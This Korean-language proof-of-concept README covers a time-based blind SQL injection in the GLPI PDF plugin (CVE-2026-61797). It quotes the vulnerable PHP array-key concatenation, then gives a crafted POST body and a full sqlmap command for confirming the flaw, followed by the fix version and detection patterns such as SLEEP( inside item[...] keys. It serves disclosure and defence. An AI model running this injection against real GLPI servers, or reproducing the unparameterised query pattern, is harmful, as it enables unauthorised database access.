
CVE-2026-61797에 대한 개념 증명으로, GLPI PDF 플러그인의 시간 기반 블라인드 SQL 인젝션을 다루며 sqlmap 검증 및 탐지 지침을 제공합니다.
GLPI PDF 플러그인에 영향을 미치는 시간 기반 블라인드 SQL 인젝션 취약점인 CVE-2026-61797에 대한 개념 증명(Proof of Concept)입니다.
이 취약점은 다음을 통해 도달할 수 있습니다:
/marketplace/pdf/front/preference.form.php
취약한 구현에서는 item POST 배열에서 사용자가 제어하는 값이 적절한 매개변수화 없이 SQL 쿼리에 삽입됩니다.
인증된 낮은 권한의 GLPI 사용자는 이 동작을 악용하여 SQL 표현식을 주입하고 응답 타이밍을 통해 데이터베이스 정보를 추론할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-61797 |
| 제품 | GLPI PDF 플러그인 |
| 테스트된 버전 | 4.1.2 |
| 수정된 버전 | 4.1.3 |
| 취약점 | 시간 기반 블라인드 SQL 인젝션 |
| 인증 | 테스트된 4.1.2 브랜치에서 필요 |
| 공격 벡터 | 네트워크 |
| 사용자 상호작용 | 없음 |
| 데이터베이스 | MySQL |
| CVSS | 6.1 / 10 |
| 권고 | GHSA-wwr3-v347-c64m |
취약한 코드는 결국 공격자가 제어하는 item 키를 SQL INSERT 문의 tabref 필드에 배치합니다.
개념적으로, 취약한 작업은 다음과 같았습니다:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
$key가 SQL 문의 일부가 되기 때문에, 조작된 배열 키는 결과 쿼리를 수정할 수 있습니다.
PoC에는 다음이 필요합니다:
sqlmap.PoC는 PDF Plugin 4.1.2에 대해 검증되었습니다.
다음에 대한 정당한 요청을 캡처하십시오:
POST /marketplace/pdf/front/preference.form.php
그리고 다음과 같이 저장하십시오:
glpi.sqli
인젝션 지점을 표시하는 데 적합한 최소 요청 본문은 다음과 같습니다:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
*는 sqlmap에게 요청의 어느 부분을 테스트해야 하는지 알려줍니다.
요청 구조 예시:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
실행:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
취약한 설치에서는 사용자 정의 POST 인젝션 지점에서 시간 기반 블라인드 SQL 인젝션을 허용하는 것으로 식별되어야 합니다.
일반적인 탐지는 다음과 유사합니다:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
이 기법은 주입된 조건이 참으로 평가되는지 여부를 판단하기 위해 SLEEP()와 같은 조건부 MySQL 지연에 의존합니다.
이 저장소는 문서화된 PoC를 취약점 검증으로 의도적으로 제한하며, 데이터베이스 덤프 또는 자격 증명 추출 명령을 제공하지 않습니다.
취약한 요청은 다음에 도달합니다:
plugins/pdf/front/preference.form.php
애플리케이션은 다음과 유사한 값을 처리합니다:
item[<USER_CONTROLLED_VALUE>]=1
PHP는 이를 연관 배열로 변환하며, 여기서 공격자가 배열 키를 제어합니다.
그 키는 나중에 플러그인에 의해 $key로 사용되며, 취약한 버전에서는 SQL 문에 직접 연결됩니다.
결과적인 데이터 흐름은 사실상 다음과 같습니다:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
따라서 시간 기반 페이로드는 SQL 표현식에 영향을 미칠 수 있으며, 제공된 조건이 참일 때 데이터베이스가 의도적으로 응답을 지연시키도록 만들 수 있습니다.
애플리케이션이 SQL 쿼리 결과를 직접 반환하지 않기 때문에, 익스플로잇은 블라인드 SQL 인젝션으로 수행됩니다.
이 문제는 PDF Plugin 4.1.3에서 수정되었습니다.
취약한 원시 SQL 작업은 더 안전한 데이터베이스/ORM 메커니즘과 추가 권한 부여 로직으로 대체되었습니다.
사용자는 다음으로 업그레이드해야 합니다:
PDF Plugin >= 4.1.3
또는 더 새로운 지원 릴리스로 업그레이드해야 합니다.
방어자는 다음을 대상으로 하는 HTTP 요청을 검토할 수 있습니다:
/marketplace/pdf/front/preference.form.php
비정상적인 item[...] 매개변수 이름이 있는 경우.
특히 의심스러운 패턴에는 배열 키 내부에 발생하는 SQL 구문 또는 시간 지연 함수가 포함되며, 예를 들어 다음에 대한 참조가 있습니다:
SLEEP(
SELECT
AND
OR
||
'
"
엔드포인트에 대한 반복적인 POST 요청 후 일관된 수 초의 응답 지연이 뒤따르는 것도 시간 기반 블라인드 SQL 인젝션을 악용하려는 시도를 나타낼 수 있습니다.
이 개념 증명은 다음을 위해서만 제공됩니다:
소유하지 않았거나 명시적 허가를 받지 않은 시스템에 대해 사용하지 마십시오.
저자는 이 자료의 무단 또는 불법 사용에 대해 어떠한 책임도 지지 않습니다.
취약점 연구 및 원본 기술 분석:
ITRESIT Labs — Javier Medina
원본 연구:
CVE:
CVE-2026-61797
GitHub 보안 권고:
GHSA-wwr3-v347-c64m
이 저장소는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다.
소유하지 않은 시스템을 테스트하기 전에 항상 명시적 허가를 받으십시오.